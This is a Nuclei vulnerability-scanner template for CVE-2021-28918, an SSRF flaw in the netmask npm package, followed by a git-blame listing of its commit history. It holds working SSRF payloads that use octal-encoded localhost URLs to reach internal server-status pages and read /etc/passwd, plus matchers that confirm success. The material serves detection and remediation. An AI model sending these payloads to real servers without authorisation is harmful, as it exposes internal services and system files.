nuclei-templates/http/cves/2021/CVE-2021-28918.yaml

id: CVE-2021-28918

info:
  name: Netmask NPM Package - Server-Side Request Forgery
  author: johnjhacking
  severity: critical
  description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
  impact: |
    An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.
  reference:
    - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
    - https://github.com/advisories/GHSA-pch5-whg9-qr2r
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28918
    - https://github.com/rs/node-netmask
    - https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-28918
    cwe-id: CWE-704
    epss-score: 0.02704
    epss-percentile: 0.89404
    cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 3
    vendor: netmask_project
    product: netmask
    framework: node.js
  tags: cve2021,cve,npm,netmask,ssrf,lfi,netmask_project,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Apache Server Status"
          - "Server Version"
        condition: and

      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100b939a30c5fa64f54a4180624144395644b93b75e550c7fda141b0701557eb81a022020316b99faf609c753aa339b44f4c18e3ee753c37e12bb8458c089b611608981:922c64590222798bb761d5b6d8e72950
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`id: CVE-2021-28918`

			`info:`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`name: Netmask NPM Package - Server-Side Request Forgery`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`author: johnjhacking`
minor update 2021-07-06 07:11:16 +00:00			`severity: critical`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.`
few fixes 2021-09-03 07:40:35 +00:00			`reference:`
Update CVE-2021-28918.yaml 2021-09-03 07:44:24 +00:00			`- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md`
			`- https://github.com/advisories/GHSA-pch5-whg9-qr2r`
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements 2022-05-18 20:58:07 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-28918`
Auto Generated CVE annotations [Wed May 18 21:10:42 UTC 2022] :robot: 2022-05-18 21:10:42 +00:00			`- https://github.com/rs/node-netmask`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.1`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-28918`
Added EPSS Percentile 2023-08-31 11:46:18 +00:00			`cwe-id: CWE-704`
TemplateMan Update [Sun Jan 14 13:49:26 UTC 2024] :robot: 2024-01-14 13:49:27 +00:00			`epss-score: 0.02704`
			`epss-percentile: 0.89404`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:netmask_project:netmask::::::node.js::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 3`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: netmask_project`
			`product: netmask`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`framework: node.js`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,npm,netmask,ssrf,lfi,netmask_project,node.js`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"`
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks! 2021-09-03 04:48:24 +00:00			`- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"`
			`- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"`
minor update 2021-07-06 07:11:16 +00:00
few fixes 2021-09-03 07:40:35 +00:00			`stop-at-first-match: true`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
few fixes 2021-09-03 07:40:35 +00:00			`matchers-condition: or`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`matchers:`
			`- type: word`
Fixing Trailing Spaces As stated. 2021-07-06 07:05:03 +00:00			`part: body`
Create Netmask SSRF Template The basic test to fuzz for the netmask SSRF vulnerability would be to use an Octal payload that resolves to the localhost. I limited it to 4 basic testing payloads as to not slow down the speed of a full-length CVE directories test. 2021-07-06 06:50:43 +00:00			`words:`
			`- "Apache Server Status"`
Update CVE-2021-28918.yaml Fixing trailing spaces. 2021-07-06 07:03:18 +00:00			`- "Server Version"`
Added an additional check Hello, when you get the change, please check the changes. I removed some of the methods and cleaned it up + made a matcher for /etc/passwd. Thanks! 2021-09-03 04:48:24 +00:00			`condition: and`
few fixes 2021-09-03 07:40:35 +00:00
			`- type: regex`
			`regex:`
			`- "root:.*:0:0:"`
Auto Template Signing [Fri Jan 26 08:31:11 UTC 2024] :robot: 2024-01-26 08:31:11 +00:00			`# digest: 4a0a00473045022100b939a30c5fa64f54a4180624144395644b93b75e550c7fda141b0701557eb81a022020316b99faf609c753aa339b44f4c18e3ee753c37e12bb8458c089b611608981:922c64590222798bb761d5b6d8e72950`